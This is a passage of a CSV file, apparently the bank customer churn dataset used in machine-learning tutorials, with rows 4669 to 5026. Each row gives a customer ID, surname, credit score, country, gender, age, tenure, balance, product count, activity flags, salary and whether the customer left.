+4669,15780770,Kerr,445,France,Male,31,7,145056.59,1,1,1,175893.53,0 +4670,15751491,Hsiao,443,Germany,Male,50,3,117206.3,1,1,0,42840.18,1 +4671,15706200,Graham,637,Germany,Male,41,2,138014.4,2,1,0,140298.24,0 +4672,15808674,Ejikemeifeuwa,616,Germany,Female,45,6,128352.59,3,1,1,144000.59,1 +4673,15641411,Volkova,756,France,Female,23,1,112568.31,1,1,1,113408.11,0 +4674,15764661,Wang,644,France,Male,33,2,0,1,1,0,96420.58,0 +4675,15689492,Benjamin,850,Germany,Male,41,1,176958.46,2,0,1,125806.3,0 +4676,15602405,Ryrie,703,Germany,Female,38,9,99167.54,1,1,0,65720.92,0 +4677,15610271,Andreev,684,Spain,Female,42,3,103210.27,1,1,0,31002.03,0 +4678,15791780,Ts'ao,706,Germany,Female,48,10,104478.12,3,0,1,158248.71,1 +4679,15589147,Frolov,580,Spain,Male,61,8,125921.37,1,1,1,94677.83,0 +4680,15756975,Montemayor,777,Spain,Female,35,3,0,2,1,1,17257.72,0 +4681,15729582,Fu,676,Germany,Male,48,3,80697.44,1,0,0,101397.86,0 +4682,15742971,Whitehead,708,France,Female,44,2,161887.81,2,1,0,84870.23,0 +4683,15568046,Izuchukwu,809,France,Male,24,7,109558.36,1,1,0,183515.13,0 +4684,15694890,Lai,588,France,Male,38,1,124271.26,1,1,0,75969.19,0 +4685,15736963,Herring,623,France,Male,43,1,0,2,1,1,146379.3,0 +4686,15646490,Duffy,537,Spain,Male,42,1,190569.23,1,0,1,127154.8,0 +4687,15607314,Chiefo,536,Spain,Male,53,2,143923.96,1,1,0,2019.78,1 +4688,15576745,Fyodorov,769,France,Male,48,2,96542.16,2,0,1,197885.72,0 +4689,15669606,Chu,690,France,Male,33,5,0,2,1,0,138017.68,0 +4690,15737832,Robertson,771,Spain,Male,45,0,139825.56,1,0,0,170984.97,1 +4691,15681990,Palmerston,497,Germany,Male,24,6,111769.14,2,1,0,55859.27,0 +4692,15758050,Madukwe,622,Spain,Male,37,4,0,2,1,0,4459.5,0 +4693,15787848,Chinedum,602,Spain,Male,30,9,113672.18,2,0,0,102135.92,0 +4694,15713594,French,543,France,Female,32,7,147256.86,1,1,0,112771.95,0 +4695,15588186,Polyakov,520,Spain,Male,45,7,107023.03,1,1,0,32903.93,0 +4696,15786739,Clements,669,France,Male,37,1,125529.55,1,1,1,162260.93,0 +4697,15699467,Connor,631,Spain,Female,41,0,0,1,0,0,87959.83,0 +4698,15680706,Balashov,537,Germany,Male,48,4,131834.8,1,1,0,166476.95,1 +4699,15645717,Avdeeva,732,France,Male,62,2,0,2,1,1,25438.87,0 +4700,15748597,Chester,844,Spain,Male,56,5,99529.7,1,0,1,157230.06,1 +4701,15773709,Hung,838,Spain,Male,35,0,0,2,0,1,197305.91,0 +4702,15629787,Tu,652,France,Male,27,10,107303.72,2,0,0,44435.76,0 +4703,15661007,Thompson,660,France,Male,33,0,72783.42,1,0,0,181051.99,0 +4704,15686812,Jones,692,Spain,Female,44,8,0,1,0,1,159069.37,0 +4705,15754113,Li,588,France,Female,35,0,0,2,1,1,155485.24,0 +4706,15749489,Denisova,533,Germany,Female,22,10,115743.6,1,0,0,43852.05,0 +4707,15574352,Clogstoun,850,France,Male,43,4,161256.53,1,1,1,140071.57,0 +4708,15701281,Tan,511,France,Male,27,8,0,2,1,1,49089.36,0 +4709,15811985,Power,530,Spain,Male,44,6,0,2,0,0,55893.37,0 +4710,15713505,Harriman,554,France,Male,31,1,0,2,0,1,192660.55,0 +4711,15685653,Benson,585,Germany,Female,40,3,162261.01,2,1,0,137028.51,0 +4712,15758831,Thornton,754,France,Male,39,3,74896.33,1,0,0,34430.16,0 +4713,15618774,White,474,France,Male,54,3,0,1,1,0,108409.17,1 +4714,15764448,Mackenzie,837,Germany,Male,35,0,144037.6,1,1,0,145325.32,0 +4715,15611024,Kalinina,567,France,Female,23,9,93522.2,1,0,1,81425.61,0 +4716,15738220,Bennet,800,Spain,Male,38,1,0,2,1,0,51553.43,0 +4717,15805764,Hallahan,646,France,Male,18,10,0,2,0,1,52795.15,0 +4718,15580487,Martin,627,Germany,Male,38,8,106922.92,2,0,1,84270.09,0 +4719,15675787,Rivera,505,France,Male,26,8,112972.57,1,1,0,145011.62,0 +4720,15583580,Chiawuotu,566,Germany,Female,35,1,123042,1,1,0,66245.44,1 +4721,15780654,Sergeyev,619,Germany,Female,33,3,100488.92,2,0,1,36446.74,0 +4722,15695034,Christie,757,France,Female,44,4,123322.15,1,1,0,137136.29,0 +4723,15805671,Louis,648,France,Male,32,0,0,1,0,1,117323.31,0 +4724,15790658,Iqbal,621,Spain,Male,42,8,68683.68,1,1,1,74157.71,0 +4725,15578648,Marino,543,Germany,Male,49,6,59532.18,1,1,0,104253.56,0 +4726,15734987,Robertson,658,France,Female,43,7,140260.36,2,1,0,2748.72,0 +4727,15721740,Pai,633,Germany,Male,50,7,88302.65,1,1,1,195937.16,0 +4728,15641822,Barese,648,France,Female,19,1,0,2,0,1,22101.86,0 +4729,15765650,Chigolum,501,Germany,Male,40,5,114655.58,1,0,0,126535.92,0 +4730,15788556,Trouette,683,France,Female,42,4,148283.94,1,1,1,44692.63,1 +4731,15576550,Ugochukwu,619,Spain,Female,38,1,0,1,1,0,112442.63,1 +4732,15622230,Cribb,705,France,Female,35,3,0,2,0,1,66331.01,0 +4733,15653937,McIntyre,638,Germany,Female,53,1,123916.67,1,1,0,16657.68,1 +4734,15743538,Pickering,710,France,Female,31,1,0,2,1,0,20081.3,0 +4735,15591740,Fletcher,590,France,Female,54,4,0,2,1,1,93820.49,1 +4736,15650086,Uchenna,725,France,Male,43,2,165896,2,1,0,130795.52,0 +4737,15718773,Pisano,638,France,Female,32,0,0,2,1,0,160129.99,0 +4738,15615140,Corson,791,France,Male,36,6,111168.97,1,1,1,189969.91,0 +4739,15644361,Hooper,702,France,Female,40,1,103549.24,1,0,0,9712.52,1 +4740,15774536,He,607,France,Female,32,6,0,2,0,0,196062.01,0 +4741,15618661,Chidubem,535,France,Male,30,6,103804.97,1,1,1,125710.53,0 +4742,15605020,Schofield,651,France,Male,45,2,165901.59,2,1,0,23054.51,1 +4743,15762134,Liang,506,Germany,Male,59,8,119152.1,2,1,1,170679.74,0 +4744,15685279,Somadina,511,Spain,Female,57,8,122950.31,1,1,1,181258.76,0 +4745,15582849,McIntosh,757,France,Female,51,1,0,1,1,1,22835.13,1 +4746,15655410,Hinton,768,Germany,Male,49,1,133384.66,1,1,0,102397.22,1 +4747,15649129,Sal,757,France,Male,32,9,0,2,1,0,115950.96,0 +4748,15702380,De Luca,663,Spain,Male,64,6,0,2,0,1,15876.52,0 +4749,15759067,Bromby,537,Germany,Female,37,7,158411.95,4,1,1,117690.58,1 +4750,15683027,Chang,570,Germany,Male,29,4,122028.65,2,1,1,173792.77,0 +4751,15597487,Hunter,850,France,Female,35,5,0,1,1,1,80992.8,0 +4752,15763256,Sheppard,661,Germany,Female,64,8,128751.65,2,1,0,189398.18,1 +4753,15620111,Fan,659,France,Male,54,8,133436.52,1,1,0,56787.8,0 +4754,15623053,Muir,454,Spain,Male,40,2,123177.01,1,1,0,148309.98,0 +4755,15595592,Lai,708,France,Female,59,2,0,1,1,0,179673.11,1 +4756,15740072,Padovesi,720,France,Female,37,2,120328.88,2,1,1,138470.21,0 +4757,15778005,Kemp,785,France,Female,39,1,130147.98,1,1,0,163798.41,1 +4758,15583278,Greece,743,Spain,Female,36,8,92716.96,1,1,1,33693.78,0 +4759,15601263,Young,493,Spain,Female,48,7,0,2,1,0,48545.1,0 +4760,15709222,Chukwueloka,557,Spain,Male,34,3,0,1,0,1,123427.98,0 +4761,15713949,Woods,850,France,Male,40,1,76914.21,1,1,0,174183.44,0 +4762,15717706,Forbes,799,France,Female,32,3,106045.92,2,1,1,17938,0 +4763,15756071,Kang,756,France,Male,34,1,103133.26,1,1,1,90059.04,0 +4764,15696564,Nweke,752,France,Male,38,0,145974.79,2,1,1,137694.23,0 +4765,15657637,Ts'ui,696,Spain,Female,36,3,0,3,1,0,65039.9,0 +4766,15755863,Milano,630,Spain,Female,49,1,0,2,0,1,162858.29,0 +4767,15719858,Chao,659,Spain,Female,38,9,0,2,1,1,35701.06,0 +4768,15688876,Wan,685,Spain,Male,39,9,0,2,1,1,18826.06,0 +4769,15698528,Napolitani,599,Spain,Female,31,3,0,1,1,1,130086.47,1 +4770,15770345,Kovaleva,559,Spain,Female,31,1,139183.06,1,0,1,143360.56,0 +4771,15761506,Russell,615,Spain,Male,19,5,0,2,1,0,159920.92,0 +4772,15716619,Chiebuka,580,Germany,Female,36,3,74974.89,1,1,1,12099.67,0 +4773,15788367,Ellis,487,Spain,Male,44,6,61691.45,1,1,1,53087.98,0 +4774,15709451,Gordon,646,Germany,Female,35,1,121952.75,2,1,1,142839.82,0 +4775,15640421,Conway,811,France,Female,35,7,0,1,1,1,178.19,0 +4776,15580068,Buccho,526,Spain,Male,35,5,0,2,1,1,105618.14,0 +4777,15677123,Aksyonova,767,Spain,Male,37,7,0,2,1,1,24734.25,0 +4778,15619801,Batty,548,France,Female,33,1,80107.83,2,0,1,82245.67,0 +4779,15582246,Rowe,737,Spain,Female,45,2,0,2,0,1,177695.67,0 +4780,15711843,Pisani,613,Germany,Male,40,1,147856.82,3,0,0,107961.11,1 +4781,15680046,Onochie,711,Spain,Male,36,8,0,2,1,0,55207.41,0 +4782,15804131,Farmer,850,Spain,Female,53,7,65407.16,2,0,0,182633.63,1 +4783,15722611,Cameron,752,France,Female,53,8,114233.18,1,1,1,51587.04,0 +4784,15729224,Jennings,710,France,Female,37,5,0,2,1,0,115403.31,0 +4785,15811588,Eluemuno,664,Spain,Female,53,7,187602.18,1,1,0,186392.99,1 +4786,15702138,Swift,510,France,Female,22,3,156834.34,1,0,0,44374.44,0 +4787,15749799,Pisani,577,France,Female,34,2,0,2,1,1,84033.35,0 +4788,15752885,Nnonso,529,France,Male,42,1,157498.9,1,1,1,82276.62,0 +4789,15674932,Cameron,757,Spain,Female,44,9,0,2,1,0,177528.92,0 +4790,15743828,Stevens,691,France,Male,41,2,0,1,1,1,56850.92,1 +4791,15642022,Zito,621,Spain,Male,34,8,0,1,0,0,47972.65,0 +4792,15746461,Taylor,709,Spain,Male,35,2,0,2,1,0,104982.39,0 +4793,15809991,Ferrari,756,Spain,Male,19,4,130274.22,1,1,1,133535.29,0 +4794,15787322,Yeh,788,France,Female,41,6,0,1,1,1,25571.37,0 +4795,15575498,Gould,705,France,Female,39,5,149379.66,2,1,0,96075.55,0 +4796,15691387,Agafonova,483,France,Male,29,9,0,1,1,1,81634.45,0 +4797,15765457,Fowler,719,Spain,Male,35,1,100829.94,1,1,1,165008.97,0 +4798,15666173,Chidumaga,793,Germany,Female,32,1,96408.98,1,1,1,138191.81,0 +4799,15627377,Sabbatini,593,France,Male,41,6,0,2,1,1,99136.49,0 +4800,15656683,Johnson,551,France,Male,52,1,0,1,0,0,63584.55,1 +4801,15679810,Chapman,690,France,Male,39,6,0,2,1,0,160532.88,0 +4802,15606310,Birk,823,France,Male,71,5,149105.08,1,0,1,162683.06,0 +4803,15756871,Capon,512,Spain,Male,39,3,0,1,1,0,134878.19,0 +4804,15610002,Chidubem,802,Spain,Male,41,5,0,2,1,1,134626.3,0 +4805,15567802,Childs,450,Spain,Female,34,2,0,2,1,0,175480.93,0 +4806,15745452,Sun,651,Germany,Male,41,1,90218.11,1,1,0,174337.68,0 +4807,15617252,Lung,697,France,Female,33,1,87347.7,1,1,0,172524.51,0 +4808,15753248,Tao,611,France,Male,28,2,0,2,0,0,25395.83,0 +4809,15610755,Napolitano,643,France,Female,33,0,137811.75,1,1,1,184856.89,0 +4810,15662238,Davis,822,France,Male,37,3,105563,1,1,0,182624.93,0 +4811,15799186,Sagese,632,France,Male,38,4,0,2,0,0,192505.62,0 +4812,15686941,Hutchinson,575,Spain,Female,26,7,0,2,1,0,112507.63,0 +4813,15601172,Nelson,672,France,Male,31,6,91125.75,1,1,0,177295.92,0 +4814,15723858,Schiavone,517,Spain,Male,39,3,0,2,0,1,12465.51,0 +4815,15615896,Chienezie,621,Spain,Male,39,8,0,2,1,0,36122.96,0 +4816,15737647,Obioma,775,Germany,Female,77,6,135120.56,1,1,0,37836.64,0 +4817,15582841,Butusov,600,France,Male,29,8,0,2,0,1,34747.43,0 +4818,15760090,Pisano,640,France,Male,28,7,0,2,1,1,131097.9,0 +4819,15588587,Stetson,752,France,Female,36,1,86837.95,1,1,1,105280.55,0 +4820,15683157,Waring,613,France,Male,26,4,100446.57,1,0,1,149653.81,0 +4821,15694209,Fanucci,484,France,Female,32,3,0,2,1,1,139390.99,0 +4822,15655875,Thao,511,France,Female,33,3,0,2,1,0,132436.71,0 +4823,15805704,Murphy,745,France,Female,32,2,0,4,0,1,179705.13,1 +4824,15744789,McConnell,786,Spain,Female,32,6,114512.59,1,1,0,15796.66,0 +4825,15799357,Armfield,727,France,Male,35,5,136364.46,1,0,0,142754.71,0 +4826,15726153,Fanucci,622,France,Male,31,5,106260.67,1,1,1,2578.43,0 +4827,15713346,Panina,794,France,Male,24,10,146126.75,1,1,1,88992.05,0 +4828,15665053,Nixon,636,Spain,Male,52,4,111284.53,1,0,1,32936.44,1 +4829,15592379,Walker,741,Spain,Female,42,9,121056.63,2,1,0,39122.58,0 +4830,15692599,Chiemela,687,France,Male,34,5,128270.56,1,1,0,191092.62,0 +4831,15620758,Martel,660,Spain,Male,30,4,0,2,1,0,129149.06,0 +4832,15637428,Briggs,660,France,Male,35,7,0,2,1,0,13218.6,0 +4833,15808389,Iheatu,617,France,Female,79,7,0,1,1,1,160589.18,0 +4834,15807003,Jennings,762,France,Male,32,10,191775.65,1,1,0,179657.83,0 +4835,15702912,Ch'en,752,Spain,Female,35,2,0,1,1,0,44335.54,1 +4836,15590623,Kovalyov,561,Spain,Male,34,4,85141.79,2,1,1,29217.37,0 +4837,15728078,Yeh,609,France,Male,26,10,126392.18,1,0,1,43651.49,0 +4838,15708256,Chien,803,France,Male,28,3,0,2,1,0,159654,0 +4839,15582335,Brown,556,France,Female,40,9,129860.37,1,0,0,17992.94,0 +4840,15649150,Buddicom,531,France,Female,53,5,127642.44,1,1,0,141501.45,1 +4841,15691647,McGregor,411,France,Female,35,2,0,2,1,1,93825.78,0 +4842,15668270,Thompson,587,Germany,Female,44,5,125584.17,2,1,1,41852.24,1 +4843,15624820,Ross,683,Spain,Male,56,7,50911.21,3,0,0,97629.31,1 +4844,15736254,Ch'ang,654,France,Male,29,2,91955.61,1,1,0,37065.66,0 +4845,15720814,Warren,670,Germany,Female,36,2,84266.44,2,0,0,38614.69,0 +4846,15642997,Uspenskaya,655,France,Female,36,2,147149.59,1,1,1,87816.86,0 +4847,15693200,King,752,France,Female,36,7,0,2,1,0,184866.86,0 +4848,15624596,Trentini,534,France,Female,23,5,104822.45,1,0,1,160176.47,0 +4849,15807167,Konovalova,635,France,Male,42,1,146766.72,2,0,1,164357.1,0 +4850,15660301,Dellucci,491,Germany,Male,70,6,148745.92,2,1,1,17818.33,0 +4851,15593094,Goddard,516,France,Male,27,9,0,1,1,0,142680.64,1 +4852,15618239,Neumann,530,France,Female,48,0,0,1,1,0,85081.09,0 +4853,15574137,Ch'in,687,Spain,Male,35,3,0,2,1,1,176450.19,0 +4854,15614740,Walters,684,France,Female,41,6,135203.81,2,1,1,121967.88,0 +4855,15574071,Muravyova,706,Germany,Male,23,2,93301.97,2,0,1,127187.04,0 +4856,15671148,Barry,490,Germany,Male,33,5,96341,2,0,0,108313.34,0 +4857,15721921,Woolnough,796,France,Male,44,8,165326.2,1,1,1,57205.55,0 +4858,15717995,Keen,849,France,Male,27,0,0,2,0,1,157891.86,0 +4859,15632050,Liebe,779,France,Female,41,10,99786.2,1,1,0,86927.53,0 +4860,15647111,White,794,Spain,Female,22,4,114440.24,1,1,1,107753.07,0 +4861,15759991,Hunter,748,Spain,Male,36,4,141573.55,1,1,0,82158.14,0 +4862,15790204,Myers,663,Spain,Female,22,9,0,1,1,0,29135.89,1 +4863,15686780,Rogova,645,Spain,Female,55,1,133676.65,1,0,1,17095.49,0 +4864,15640491,Raff,464,France,Female,33,10,147493.7,2,1,0,100447.53,0 +4865,15783225,Cocci,737,France,Male,54,9,0,1,1,0,83470.4,1 +4866,15734438,Kanayochukwu,590,France,Female,29,4,0,2,1,0,121846.81,0 +4867,15688760,Obialo,522,Germany,Female,37,3,95022.57,1,1,1,129107.59,0 +4868,15768124,Liu,648,France,Female,34,3,0,1,1,0,54726.43,0 +4869,15661330,Gilbert,754,France,Male,37,6,0,1,1,1,116141.72,0 +4870,15781272,Coles,669,France,Male,50,4,149713.61,3,1,1,124872.42,1 +4871,15573888,Ponomaryov,648,Germany,Female,43,1,107963.38,1,0,0,186438.86,1 +4872,15575858,Bergamaschi,763,France,Male,40,3,0,2,1,0,134281.11,0 +4873,15645937,Guerin,790,Spain,Male,32,3,0,1,1,0,91044.47,0 +4874,15702337,Sinclair,581,France,Male,37,7,0,2,1,1,74320.75,0 +4875,15764537,Dominguez,703,France,Male,43,8,0,2,1,0,9704.66,0 +4876,15619616,Costa,571,France,Female,33,9,102017.25,2,0,0,128600.49,0 +4877,15585133,Wei,657,Spain,Female,27,8,0,2,0,0,6468.24,0 +4878,15573971,Mills,737,France,Male,44,7,0,2,0,0,57898.58,0 +4879,15579433,Pugh,793,Spain,Male,29,8,96674.55,2,0,0,192120.66,0 +4880,15777045,Price,783,Spain,Female,44,3,81811.71,1,1,0,164213.53,1 +4881,15611580,Wood,751,Spain,Male,33,4,79281.61,1,1,0,117547.76,0 +4882,15614778,Robertson,579,France,Male,31,6,0,2,1,0,26149.25,0 +4883,15771750,Sawtell,655,Germany,Female,36,10,122314.39,1,1,0,9181.66,0 +4884,15593280,Yuryeva,614,Germany,Male,43,8,140733.74,1,1,1,166588.76,0 +4885,15569274,Pisano,678,Germany,Male,49,2,116933.11,1,1,0,195053.58,1 +4886,15654408,Kharitonova,562,Spain,Male,41,5,165445.04,2,1,0,85787.31,0 +4887,15657468,Simmons,711,Germany,Female,53,5,123805.03,1,1,0,102428.51,0 +4888,15614213,Muramats,620,France,Male,37,0,107548.94,1,1,0,71175.94,0 +4889,15589869,Tang,437,France,Male,49,9,111634.29,2,0,1,166440.32,0 +4890,15693205,Peng,691,Germany,Female,41,8,109153.96,3,1,1,148848.76,1 +4891,15797113,Bevan,552,Spain,Female,34,4,0,2,1,0,140286.69,0 +4892,15676958,Zito,765,Germany,Male,34,5,86055.17,2,1,1,104220.5,0 +4893,15739592,Sokolov,707,Germany,Female,51,10,98438.23,1,0,0,70778.63,1 +4894,15656263,Teng,764,Spain,Male,29,5,0,2,1,0,65868.28,0 +4895,15636872,Amadi,585,France,Female,32,8,144705.87,2,0,0,171482.56,0 +4896,15589435,Davide,784,France,Male,31,7,0,2,1,1,143204.41,0 +4897,15640464,Parkes,605,France,Male,41,5,91612.91,1,1,1,28427.84,0 +4898,15723851,Mazzanti,699,Spain,Male,40,2,0,1,1,0,78387.32,0 +4899,15722122,Findlay,544,France,Female,40,7,0,1,0,1,161076.92,0 +4900,15696852,Hsu,803,France,Female,32,9,192122.84,1,1,1,54277.45,1 +4901,15634936,Chukwukadibia,735,France,Male,41,7,179904,1,1,1,137180.95,0 +4902,15575935,Baxter,673,France,Male,59,0,178058.06,2,0,1,21063.71,1 +4903,15634491,Kung,652,France,Male,30,2,176166.56,2,1,1,152210.81,0 +4904,15628530,Booth,694,France,Male,42,3,156864.2,2,0,0,88890.75,0 +4905,15678720,Evans,741,France,Female,44,7,0,2,1,1,190534.76,0 +4906,15627999,Kung,590,Spain,Male,30,3,0,2,1,0,83090.35,0 +4907,15571244,Tung,809,Spain,Female,33,3,0,2,0,1,141426.78,0 +4908,15739931,Yuan,523,France,Male,34,2,161588.89,1,1,1,51358.66,0 +4909,15806256,Jackson,540,France,Male,48,2,109349.29,1,1,0,88703.04,1 +4910,15787258,Ross,596,Spain,Female,29,6,0,2,1,0,116696.77,0 +4911,15706463,Yang,597,France,Female,36,9,0,2,1,1,7156.09,0 +4912,15691004,Yu,407,Spain,Male,37,1,0,1,1,1,49161.12,1 +4913,15792228,Onwumelu,748,France,Male,60,0,152335.7,1,1,0,126743.33,1 +4914,15733447,Gay,562,France,Female,51,1,124662.54,1,1,1,65390.46,1 +4915,15679062,Morrison,734,Germany,Female,47,10,91522.04,2,1,1,138835.91,0 +4916,15594409,Belov,710,France,Male,45,1,0,2,1,1,36154.66,0 +4917,15613816,Mao,539,Spain,Female,39,6,62052.28,1,0,1,59755.14,0 +4918,15681991,Walsh,542,France,Male,32,7,107871.72,1,1,0,125302.64,0 +4919,15796074,Bruno,717,France,Female,36,2,99472.76,2,1,0,94274.72,1 +4920,15625941,Gray,682,Spain,Female,50,10,128039.01,1,1,1,102260.16,0 +4921,15615016,Maurer,515,France,Male,33,2,0,2,1,1,136028.97,0 +4922,15748414,Chiang,526,Spain,Female,33,8,114634.63,2,1,0,110114.38,1 +4923,15751203,Cattaneo,702,France,Male,26,5,56738.47,2,1,1,100442.22,1 +4924,15662658,Grieve,651,Germany,Male,34,2,90355.12,2,0,0,193597.94,0 +4925,15574868,Lowell,792,Germany,Male,36,5,115725.24,2,0,0,1871.25,0 +4926,15790282,Trentino,817,Germany,Male,58,3,114327.59,2,1,1,42831.11,0 +4927,15762927,Sung,674,Germany,Female,36,6,100762.64,1,1,0,182156.86,0 +4928,15803456,Yen,641,France,Female,40,9,0,1,0,0,151648.66,1 +4929,15771857,Philipp,513,Spain,Male,39,7,89039.9,2,1,1,146738.83,0 +4930,15700601,Dynon,561,France,Male,34,1,78829.53,1,1,1,12148.2,0 +4931,15569670,Alexeyeva,627,Germany,Male,30,6,112372.96,1,1,1,118029.09,0 +4932,15772341,Hs?eh,682,Germany,Male,81,6,122029.15,1,1,1,50783.88,0 +4933,15661548,Ferri,683,France,Female,29,0,157829.12,1,0,0,129891.66,0 +4934,15787597,Hsu,420,Germany,Female,31,1,108377.75,2,1,1,9904.63,0 +4935,15806913,Bishop,670,France,Female,54,2,95507.12,1,1,1,63213.31,0 +4936,15804862,Toscani,505,Germany,Male,43,6,127146.68,1,0,0,137565.87,0 +4937,15792986,T'ao,580,Germany,Male,24,1,133811.78,1,1,0,17185.95,1 +4938,15625632,Philip,577,France,Male,36,3,121092.47,2,0,1,143783.46,0 +4939,15727703,Li Fonti,773,Germany,Male,34,10,126979.75,1,0,0,36823.28,0 +4940,15606273,Rene,616,France,Male,37,5,144235.73,2,0,0,154957.66,1 +4941,15799652,Daigle,763,France,Female,38,0,152582.2,2,0,0,31892.82,0 +4942,15715047,Joshua,640,Spain,Male,43,9,172478.15,1,1,0,191084.4,1 +4943,15784687,Simmons,592,France,Male,36,1,126477.42,1,0,0,179718.17,0 +4944,15615322,Jamieson,528,Spain,Male,43,7,97473.87,2,1,1,159823.16,0 +4945,15722072,Hou,630,France,Male,53,5,138053.67,1,0,1,114110.97,0 +4946,15646784,Cochran,529,France,Female,31,2,164003.05,2,1,1,60993.23,0 +4947,15644692,Bibb,546,France,Female,47,8,0,1,1,1,66408.01,1 +4948,15670354,Jen,753,France,Female,62,6,0,2,1,1,136398.9,0 +4949,15716357,Corran,772,Spain,Female,39,4,122486.11,2,1,1,140709.25,0 +4950,15786717,He,567,France,Male,36,1,0,2,0,0,8555.73,0 +4951,15771383,Loggia,628,Germany,Female,45,6,53667.44,1,1,0,115022.94,0 +4952,15649793,Lovely,658,France,Male,20,7,0,2,0,0,187638.34,0 +4953,15731543,Becker,679,Spain,Male,58,9,109327.65,1,1,1,3829.13,0 +4954,15684516,Plascencia,629,Spain,Male,34,1,121151.05,1,0,0,119357.93,0 +4955,15677249,Somadina,731,Spain,Male,42,9,101043.63,1,1,1,192175.52,0 +4956,15581525,Walker,775,Germany,Male,33,3,83501.66,2,1,0,128841.31,0 +4957,15628420,Alekseeva,660,Spain,Male,33,2,80462.24,1,0,0,150422.35,0 +4958,15600478,Watson,752,France,Male,39,3,0,1,1,0,188187.05,0 +4959,15594502,Zotov,655,France,Male,37,6,109093.41,2,1,0,1775.52,0 +4960,15784361,Williamson,543,Spain,Female,46,5,140355.6,1,1,1,85086.78,0 +4961,15767626,Carpenter,811,France,Male,42,10,0,2,1,1,3797.79,0 +4962,15632521,Cattaneo,689,Germany,Male,45,0,130170.82,2,1,0,150856.38,0 +4963,15665088,Gordon,531,France,Female,42,2,0,2,0,1,90537.47,0 +4964,15652084,Boni,515,France,Male,40,0,109542.29,1,1,1,166370.81,0 +4965,15574761,Lynch,466,France,Female,41,3,33563.95,2,1,0,178994.13,1 +4966,15729515,McCarthy,782,France,Male,36,1,148795.17,2,1,1,195681.43,0 +4967,15682070,Davies,611,France,Male,64,9,0,2,1,1,53277.15,0 +4968,15743817,Hargreaves,621,Germany,Male,40,8,174126.75,3,1,0,172490.78,1 +4969,15572158,Blackburn,604,Spain,Male,41,3,0,1,0,0,11819.84,0 +4970,15584477,K?,655,Spain,Female,35,1,106405.03,1,1,1,82900.25,0 +4971,15614893,Meng,689,Spain,Male,38,2,0,1,1,1,82709.8,0 +4972,15665963,Cattaneo,681,Spain,Male,30,2,128393.29,1,1,1,180593.45,0 +4973,15612524,Hunt,643,Germany,Male,41,2,127841.52,1,1,0,172363.41,0 +4974,15596962,Owens,617,France,Female,24,4,137295.19,2,1,1,91195.12,0 +4975,15744942,Steele,638,Spain,Female,55,2,155828.22,1,0,1,108987.25,1 +4976,15573278,Kennedy,743,France,Male,39,6,0,2,1,0,44265.28,0 +4977,15717056,Pan,828,Germany,Female,25,7,144351.86,1,1,0,116613.26,0 +4978,15795881,Alexander,776,Spain,Male,35,8,106365.29,1,1,1,148527.56,0 +4979,15758939,Bray,540,Germany,Male,35,7,127801.88,1,0,1,84239.46,0 +4980,15792250,Nnabuife,616,Germany,Female,45,4,122793.96,1,1,1,62002.04,0 +4981,15740406,Padovesi,628,Germany,Male,38,10,113525.84,1,1,0,46044.48,1 +4982,15768137,Bray,667,Spain,Female,23,6,136100.69,2,0,0,169669.33,1 +4983,15569120,Lucas,615,France,Male,30,7,0,2,1,1,156346.84,0 +4984,15723721,Tinline,543,France,Male,30,4,140916.81,1,1,0,157711.18,0 +4985,15777122,Esomchi,553,France,Female,31,4,0,2,1,1,89087.4,0 +4986,15742681,Liao,554,Germany,Male,26,4,121365.39,1,1,1,8742.36,0 +4987,15582090,Iroawuchi,684,Spain,Female,36,4,0,1,1,0,117038.96,0 +4988,15711254,Retana,452,France,Female,35,7,0,2,1,0,164241.67,0 +4989,15775067,Fang,606,France,Male,47,3,93578.68,2,0,1,137720.56,1 +4990,15602851,Ozioma,629,France,Male,40,9,0,1,1,0,106.67,0 +4991,15802857,Robson,659,Spain,Female,33,8,115409.6,1,0,1,1539.21,0 +4992,15701175,Bruno,493,France,Female,33,8,90791.69,1,1,1,59659.53,0 +4993,15783019,Price,794,France,Female,62,9,123681.32,3,1,0,173586.63,1 +4994,15728912,Swanson,554,France,Female,44,6,92436.86,1,1,0,126033.9,0 +4995,15585580,Chang,796,Germany,Female,52,9,167194.36,1,1,1,62808.93,1 +4996,15583480,Morgan,807,France,Female,36,4,0,2,0,1,147007.33,0 +4997,15620341,Nwebube,500,Germany,Male,44,9,160838.13,2,1,0,196261.64,0 +4998,15613886,Trevisan,722,Spain,Male,43,1,0,1,1,0,44560.17,1 +4999,15792916,Ositadimma,559,Spain,Female,40,7,144470.77,1,1,1,18917.95,0 +5000,15710408,Cunningham,584,Spain,Female,38,3,0,2,1,1,4525.4,0 +5001,15598695,Fields,834,Germany,Female,68,9,130169.27,2,0,1,93112.2,0 +5002,15649354,Johnston,754,Spain,Male,35,4,0,2,1,1,9658.41,0 +5003,15737556,Vasilyev,590,France,Male,43,7,81076.8,2,1,1,182627.25,1 +5004,15671610,Hooper,740,France,Male,36,7,0,1,1,1,13177.4,0 +5005,15625092,Colombo,502,Germany,Female,57,3,101465.31,1,1,0,43568.31,1 +5006,15741032,Tsao,733,France,Male,48,5,0,1,0,1,117830.57,0 +5007,15750014,Chikere,755,Germany,Female,37,0,113865.23,2,1,1,117396.25,0 +5008,15784761,Ballard,554,Spain,Female,46,7,87603.35,3,0,1,96929.24,1 +5009,15768359,Akhtar,534,France,Male,36,4,120037.96,1,1,0,36275.94,0 +5010,15805769,O'Loughlin,656,Spain,Male,33,4,0,2,1,0,116706,0 +5011,15719508,Davis,575,Germany,Male,49,7,121205.15,4,1,1,168080.53,1 +5012,15609011,Barry,480,Spain,Male,47,8,75408.33,1,1,0,25887.89,1 +5013,15703106,K'ung,575,France,Male,40,5,0,2,1,1,122488.59,0 +5014,15626795,Gorman,672,France,Female,40,3,0,1,1,0,113171.61,1 +5015,15773731,John,758,Spain,Female,35,5,0,2,0,0,100365.51,0 +5016,15756196,Tsou,682,France,Male,50,6,121818.84,2,0,1,124151.37,0 +5017,15687903,Okonkwo,501,France,Female,29,8,0,2,1,0,112664.24,0 +5018,15777599,Esposito,746,Germany,Male,34,6,141806,2,1,1,183494.87,0 +5019,15754577,Boni,556,France,Female,51,8,61354.14,1,1,0,198810.65,1 +5020,15584113,Pratt,823,Germany,Female,53,4,124954.94,1,0,1,131259.6,1 +5021,15669589,Page,491,Germany,Female,68,1,95039.12,1,0,1,116471.14,1 +5022,15632793,Wilkinson,638,France,Female,29,9,103417.74,1,1,1,15336.4,0 +5023,15711130,Tseng,734,France,Male,45,2,0,2,1,0,99593.28,0 +5024,15615254,Clark,555,France,Male,40,10,43028.77,1,1,0,170514.21,0 +5025,15720583,Finch,745,Germany,Female,44,0,119638.21,1,1,1,34265.08,1 +5026,15780432,Shen,728,France,Male,37,3,122689.51,2,0,0,106977.53,1 